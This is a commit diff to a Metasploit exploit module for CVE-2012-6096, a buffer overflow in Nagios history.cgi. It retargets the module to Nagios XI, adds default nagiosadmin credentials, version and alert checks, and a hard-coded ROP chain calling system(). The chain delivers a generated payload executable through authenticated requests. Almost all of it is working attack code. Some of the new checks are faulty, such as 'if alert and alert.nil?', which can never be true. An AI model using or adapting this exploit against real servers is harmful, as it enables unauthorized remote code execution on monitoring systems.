Fixes
Jose Selvi
parent
18f81fd6f4
commit
064ea63a72
|
|
@ -30,11 +30,14 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'References' =>
|
||||
[
|
||||
[ 'CVE', '2012-6096' ],
|
||||
[ 'OSVDB', '88322' ],
|
||||
[ 'BID', '56879' ],
|
||||
[ 'EDB', '24084' ],
|
||||
[ 'URL', 'http://lists.grok.org.uk/pipermail/full-disclosure/2012-December/089125.html' ],
|
||||
[ 'URL', 'http://pastebin.com/FJUNyTaj' ],
|
||||
],
|
||||
'Platform' => ['unix', 'linux'],
|
||||
'Arch' => [ ARCH_X86, ARCH_X86_64 ],
|
||||
'Arch' => [ ARCH_X86 ],
|
||||
'Privileged' => false,
|
||||
'Payload' =>
|
||||
{
|
||||
|
|
@ -45,10 +48,10 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
[
|
||||
[ 'Automatic Target', { 'auto' => true }],
|
||||
# NOTE: All addresses are from the history.cgi binary
|
||||
[ 'CentOS (nagios-3.4.3-1.el6.i686.rpm)',
|
||||
[ 'Appliance Nagios XI 2012R1.3 (CentOS 6.x)',
|
||||
{
|
||||
'BannerRE' => 'CentOS',
|
||||
'VersionRE' => '3.4.3',
|
||||
'BannerRE' => 'Apache/2.2.15 (CentOS)',
|
||||
'VersionRE' => '3.4.1',
|
||||
'Arch' => ARCH_X86,
|
||||
'Offset' => 0xc43,
|
||||
'RopStack' =>
|
||||
|
|
@ -62,7 +65,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
]
|
||||
}
|
||||
],
|
||||
[ 'Debian (nagios3_3.0.6-4~lenny2_i386.deb)', # From original exploit. Not tested.
|
||||
[ 'Debian 5 (nagios3_3.0.6-4~lenny2_i386.deb)', # From original exploit. Not tested.
|
||||
{
|
||||
'BannerRE' => 'Debian',
|
||||
'VersionRE' => '3.3.0',
|
||||
|
|
@ -70,12 +73,12 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'Offset' => 0xc37,
|
||||
'RopStack' =>
|
||||
[
|
||||
0x0804b620, # unescape_cgi_input()
|
||||
0x08048fe4, # pop, ret
|
||||
0x080727a0, # buffer addr
|
||||
0x08048c7c, # system()
|
||||
0xdeafbabe, # if should be exit() but it's not
|
||||
0x080727a0 # buffer addr
|
||||
0x0804b620, # unescape_cgi_input()
|
||||
0x08048fe4, # pop, ret
|
||||
0x080727a0, # buffer addr
|
||||
0x08048c7c, # system()
|
||||
0xdeafbabe, # if should be exit() but it's not
|
||||
0x080727a0 # buffer addr
|
||||
]
|
||||
}
|
||||
],
|
||||
|
|
@ -85,20 +88,29 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('URI', [true, "The full URI path to history.cgi", "/nagios3/cgi-bin/history.cgi"]),
|
||||
OptString.new('USER', [false, "The username to authenticate with", "guest"]),
|
||||
OptString.new('PASS', [false, "The password to authenticate with", "guest"]),
|
||||
OptString.new('TARGETURI', [true, "The full URI path to history.cgi", "/nagios3/cgi-bin/history.cgi"]),
|
||||
OptString.new('USER', [false, "The username to authenticate with", "nagiosadmin"]),
|
||||
OptString.new('PASS', [false, "The password to authenticate with", "nagiosadmin"]),
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def detect_version(uri)
|
||||
# Send request
|
||||
res = send_request_raw({
|
||||
'uri' => uri,
|
||||
'method' => 'GET',
|
||||
}, 90)
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => uri,
|
||||
'headers' => { 'Authorization' => 'Basic ' + Rex::Text.encode_base64("#{datastore['USER']}:#{datastore['PASS']}") },
|
||||
}, 10)
|
||||
|
||||
# Detection unknown if error
|
||||
# Error handling
|
||||
if(res.code == 401)
|
||||
print_error("Please specify correct values for USER and PASS")
|
||||
return nil, nil
|
||||
end
|
||||
if(res.code == 404)
|
||||
print_error("Please specify the correct path to history.cgi in the URI parameter")
|
||||
return nil, nil
|
||||
end
|
||||
if res.nil?
|
||||
print_error("Unable to get a response from the server")
|
||||
return nil, nil
|
||||
|
|
@ -107,46 +119,74 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
# Extract banner from response
|
||||
banner = res.headers['Server']
|
||||
|
||||
# Version undetected by now - String = "Nagios® Core™ 3.4.1 -"
|
||||
# Extract version from body
|
||||
version = nil
|
||||
version_line = res.body.match(/Nagios® Core™ [0-9.]+ -/)
|
||||
if not version_line.nil?
|
||||
version = version_line[0].match(/[0-9.]+/)[0]
|
||||
end
|
||||
|
||||
return version, banner
|
||||
# Check in an alert exists
|
||||
alert = res.body.match(/ALERT/)
|
||||
|
||||
return version, banner, alert
|
||||
end
|
||||
|
||||
def select_target(version, banner)
|
||||
# Get version information
|
||||
if not banner.nil?
|
||||
print_status("Web Server banner: #{banner}")
|
||||
end
|
||||
if not version.nil?
|
||||
print_status("Nagios version detected: #{version}")
|
||||
end
|
||||
|
||||
# No banner and version, no target
|
||||
if banner.nil? or version.nil?
|
||||
return nil
|
||||
end
|
||||
|
||||
# Try regex for each target
|
||||
self.targets.each do |t|
|
||||
if t['BannerRE'].nil? or t['VersionRE'].nil? # It doesn't exist in Auto Target
|
||||
next
|
||||
end
|
||||
regexp1 = Regexp.escape(t['BannerRE'])
|
||||
regexp2 = Regexp.escape(t['VersionRE'])
|
||||
if ( banner =~ /#{regexp1}/ and version =~ /#{regexp2}/ ) then
|
||||
return t
|
||||
end
|
||||
end
|
||||
# If not detected, return nil
|
||||
return nil
|
||||
end
|
||||
|
||||
def check
|
||||
print_status("Checking banner and version...")
|
||||
# Detect version
|
||||
banner, version, alert = detect_version(target_uri.path)
|
||||
# Select target
|
||||
mytarget = select_target(banner, version)
|
||||
|
||||
if mytarget.nil?
|
||||
print_error("No matching target")
|
||||
return CheckCode::Unknown
|
||||
end
|
||||
if alert.nil?
|
||||
print_error("At least one ALERT is needed in order to exploit")
|
||||
return CheckCode::Safe
|
||||
end
|
||||
|
||||
return CheckCode::Vulnerable
|
||||
end
|
||||
|
||||
def exploit
|
||||
uri = normalize_uri(datastore['URI'])
|
||||
|
||||
# Automatic Targeting
|
||||
mytarget = nil
|
||||
if (target['auto'])
|
||||
print_status("Automatically detecting the target...")
|
||||
|
||||
# Get version information
|
||||
version, banner = detect_version(uri)
|
||||
if not banner.nil?
|
||||
print_status("Web Server banner: #{banner}")
|
||||
end
|
||||
if not version.nil?
|
||||
print_status("Nagios version detected: #{version}")
|
||||
end
|
||||
|
||||
# No banner, no target
|
||||
if banner.nil?
|
||||
fail_with(Exploit::Failure::NoTarget, "No matching target")
|
||||
end
|
||||
|
||||
# Try regex for each target
|
||||
self.targets.each do |t|
|
||||
if t['BannerRE'].nil? # It doesn't exist in Auto Target
|
||||
next
|
||||
end
|
||||
regexp = Regexp.escape(t['BannerRE'])
|
||||
if ( banner =~ /#{regexp}/ ) then
|
||||
mytarget = t
|
||||
break
|
||||
end
|
||||
end
|
||||
|
||||
banner, version, alert = detect_version(target_uri.path)
|
||||
mytarget = select_target(banner, version)
|
||||
if mytarget.nil?
|
||||
fail_with(Exploit::Failure::NoTarget, "No matching target")
|
||||
end
|
||||
|
|
@ -155,7 +195,10 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
end
|
||||
|
||||
print_status("Selected Target: #{mytarget.name}")
|
||||
print_status("Sending request to http://#{rhost}:#{rport}#{uri}")
|
||||
if alert and alert.nil?
|
||||
fail_with(Exploit::Failure::NoTarget, "At least one ALERT is needed in order to exploit")
|
||||
end
|
||||
print_status("Sending request to http://#{rhost}:#{rport}#{target_uri.path}")
|
||||
|
||||
# Generate a payload ELF to execute
|
||||
elfbin = generate_payload_exe
|
||||
|
|
@ -178,7 +221,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
# Send exploit
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => uri,
|
||||
'uri' => target_uri.path,
|
||||
'headers' => { 'Authorization' => 'Basic ' + Rex::Text.encode_base64("#{datastore['USER']}:#{datastore['PASS']}") },
|
||||
'vars_get' =>
|
||||
{
|
||||
|
|
|
|||
Loading…
Reference in New Issue